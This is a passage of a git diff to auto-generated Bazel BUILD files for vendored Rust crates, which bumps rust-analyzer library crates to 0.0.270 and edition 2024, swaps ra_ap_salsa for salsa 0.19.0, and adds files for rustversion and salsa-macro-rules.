"@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.0.270", + deps = [ + "@vendor_ts__heck-0.5.0//:heck", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__salsa-0.19.0//:salsa", + "@vendor_ts__syn-2.0.100//:syn", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.270.bazel similarity index 87% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.270.bazel index b77f7a5723d..fcace1b1b05 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.270.bazel @@ -17,9 +17,9 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax": "syntax", - "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs": "vfs", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs", }, compile_data = glob( include = ["**"], @@ -33,12 +33,8 @@ rust_library( "WORKSPACE.bazel", ], ), - crate_features = [ - "default", - "ra-salsa", - ], crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -88,15 +84,15 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__hashbrown-0.14.5//:hashbrown", "@vendor_ts__la-arena-0.3.1//:la_arena", - "@vendor_ts__ra_ap_salsa-0.0.266//:ra_salsa", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", - "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", + "@vendor_ts__salsa-0.19.0//:salsa", "@vendor_ts__text-size-1.1.1//:text_size", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.270.bazel similarity index 97% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.270.bazel index dec7e842d90..9a96045450a 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.270.bazel @@ -29,7 +29,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -79,13 +79,13 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ - "@vendor_ts__always-assert-0.2.0//:always_assert", "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel", "@vendor_ts__itertools-0.12.1//:itertools", "@vendor_ts__jod-thread-0.1.2//:jod_thread", "@vendor_ts__libc-0.2.169//:libc", + "@vendor_ts__tracing-0.1.41//:tracing", ] + select({ "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [ "@vendor_ts__miow-0.6.0//:miow", # cfg(windows) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.270.bazel similarity index 90% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.270.bazel index de3c0271fd4..adfba58214c 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.270.bazel @@ -17,8 +17,8 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser": "parser", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", }, compile_data = glob( include = ["**"], @@ -33,7 +33,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -83,15 +83,15 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__cov-mark-2.0.0//:cov_mark", - "@vendor_ts__either-1.14.0//:either", + "@vendor_ts__either-1.15.0//:either", "@vendor_ts__indexmap-2.7.0//:indexmap", "@vendor_ts__itertools-0.12.1//:itertools", - "@vendor_ts__ra-ap-rustc_lexer-0.97.0//:ra_ap_rustc_lexer", - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", + "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", "@vendor_ts__rowan-0.15.15//:rowan", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__smol_str-0.3.2//:smol_str", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.270.bazel similarity index 82% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.270.bazel index 501bd5f1841..5402358378f 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-bridge-0.0.270.bazel @@ -17,12 +17,12 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser": "parser", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax": "syntax", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt": "tt", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt", }, compile_data = glob( include = ["**"], @@ -37,7 +37,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -87,14 +87,14 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__tracing-0.1.41//:tracing", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.270.bazel similarity index 98% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.270.bazel index 66f181536d6..a9f5509b306 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_toolchain-0.0.270.bazel @@ -29,7 +29,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -79,7 +79,7 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__camino-1.1.9//:camino", "@vendor_ts__home-0.5.11//:home", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.270.bazel similarity index 91% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.270.bazel index 19c7faf10dd..946e9862a99 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_tt-0.0.270.bazel @@ -17,8 +17,8 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", }, compile_data = glob( include = ["**"], @@ -33,7 +33,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -83,12 +83,12 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__arrayvec-0.7.6//:arrayvec", - "@vendor_ts__ra-ap-rustc_lexer-0.97.0//:ra_ap_rustc_lexer", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", + "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", "@vendor_ts__text-size-1.1.1//:text_size", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.270.bazel similarity index 93% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.270.bazel index af56a94962c..3990da07910 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-0.0.270.bazel @@ -17,8 +17,8 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths": "paths", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", }, compile_data = glob( include = ["**"], @@ -33,7 +33,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -83,14 +83,14 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel", "@vendor_ts__fst-0.4.7//:fst", "@vendor_ts__indexmap-2.7.0//:indexmap", "@vendor_ts__nohash-hasher-0.2.0//:nohash_hasher", - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__tracing-0.1.41//:tracing", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.270.bazel similarity index 90% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.270.bazel index 97a009bdce5..494979d3952 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_vfs-notify-0.0.270.bazel @@ -17,9 +17,9 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths": "paths", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs": "vfs", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs", }, compile_data = glob( include = ["**"], @@ -34,7 +34,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -84,13 +84,13 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel", "@vendor_ts__notify-8.0.0//:notify", - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs", "@vendor_ts__rayon-1.10.0//:rayon", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__tracing-0.1.41//:tracing", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-1.10.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-1.10.0.bazel index f84dc0969f2..98b7029f86a 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-1.10.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-1.10.0.bazel @@ -81,7 +81,7 @@ rust_library( }), version = "1.10.0", deps = [ - "@vendor_ts__either-1.14.0//:either", + "@vendor_ts__either-1.15.0//:either", "@vendor_ts__rayon-core-1.12.1//:rayon_core", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustversion-1.0.20.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustversion-1.0.20.bazel new file mode 100644 index 00000000000..dc9ff46207d --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustversion-1.0.20.bazel @@ -0,0 +1,142 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//cargo:defs.bzl", "cargo_build_script") +load("@rules_rust//rust:defs.bzl", "rust_proc_macro") + +package(default_visibility = ["//visibility:public"]) + +rust_proc_macro( + name = "rustversion", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=rustversion", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "1.0.20", + deps = [ + "@vendor_ts__rustversion-1.0.20//:build_script_build", + ], +) + +cargo_build_script( + name = "_bs", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + "**/*.rs", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_name = "build_script_build", + crate_root = "build/build.rs", + data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + edition = "2018", + pkg_name = "rustversion", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=rustversion", + "manual", + "noclippy", + "norustfmt", + ], + version = "1.0.20", + visibility = ["//visibility:private"], +) + +alias( + name = "build_script_build", + actual = ":_bs", + tags = ["manual"], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-0.19.0.bazel similarity index 85% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-0.19.0.bazel index bab83cc8eeb..f732cb64f0f 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-0.19.0.bazel @@ -11,7 +11,7 @@ load("@rules_rust//rust:defs.bzl", "rust_library") package(default_visibility = ["//visibility:public"]) rust_library( - name = "ra_salsa", + name = "salsa", srcs = glob( include = ["**/*.rs"], allow_empty = True, @@ -28,17 +28,23 @@ rust_library( "WORKSPACE.bazel", ], ), + crate_features = [ + "default", + "macros", + "rayon", + "salsa_unstable", + ], crate_root = "src/lib.rs", edition = "2021", proc_macro_deps = [ - "@vendor_ts__ra_ap_salsa-macros-0.0.266//:ra_salsa_macros", + "@vendor_ts__salsa-macros-0.19.0//:salsa_macros", ], rustc_flags = [ "--cap-lints=allow", ], tags = [ "cargo-bazel", - "crate-name=ra_ap_salsa", + "crate-name=salsa", "manual", "noclippy", "norustfmt", @@ -82,16 +88,20 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.19.0", deps = [ + "@vendor_ts__boxcar-0.2.11//:boxcar", + "@vendor_ts__crossbeam-queue-0.3.12//:crossbeam_queue", + "@vendor_ts__dashmap-6.1.0//:dashmap", + "@vendor_ts__hashbrown-0.15.2//:hashbrown", + "@vendor_ts__hashlink-0.10.0//:hashlink", "@vendor_ts__indexmap-2.7.0//:indexmap", - "@vendor_ts__itertools-0.12.1//:itertools", - "@vendor_ts__lock_api-0.4.12//:lock_api", - "@vendor_ts__oorandom-11.1.4//:oorandom", "@vendor_ts__parking_lot-0.12.3//:parking_lot", + "@vendor_ts__portable-atomic-1.11.0//:portable_atomic", + "@vendor_ts__rayon-1.10.0//:rayon", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", + "@vendor_ts__salsa-macro-rules-0.19.0//:salsa_macro_rules", "@vendor_ts__smallvec-1.14.0//:smallvec", "@vendor_ts__tracing-0.1.41//:tracing", - "@vendor_ts__triomphe-0.1.14//:triomphe", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macro-rules-0.19.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macro-rules-0.19.0.bazel new file mode 100644 index 00000000000..1f1b43e02bc --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macro-rules-0.19.0.bazel @@ -0,0 +1,83 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "salsa_macro_rules", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=salsa-macro-rules", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + 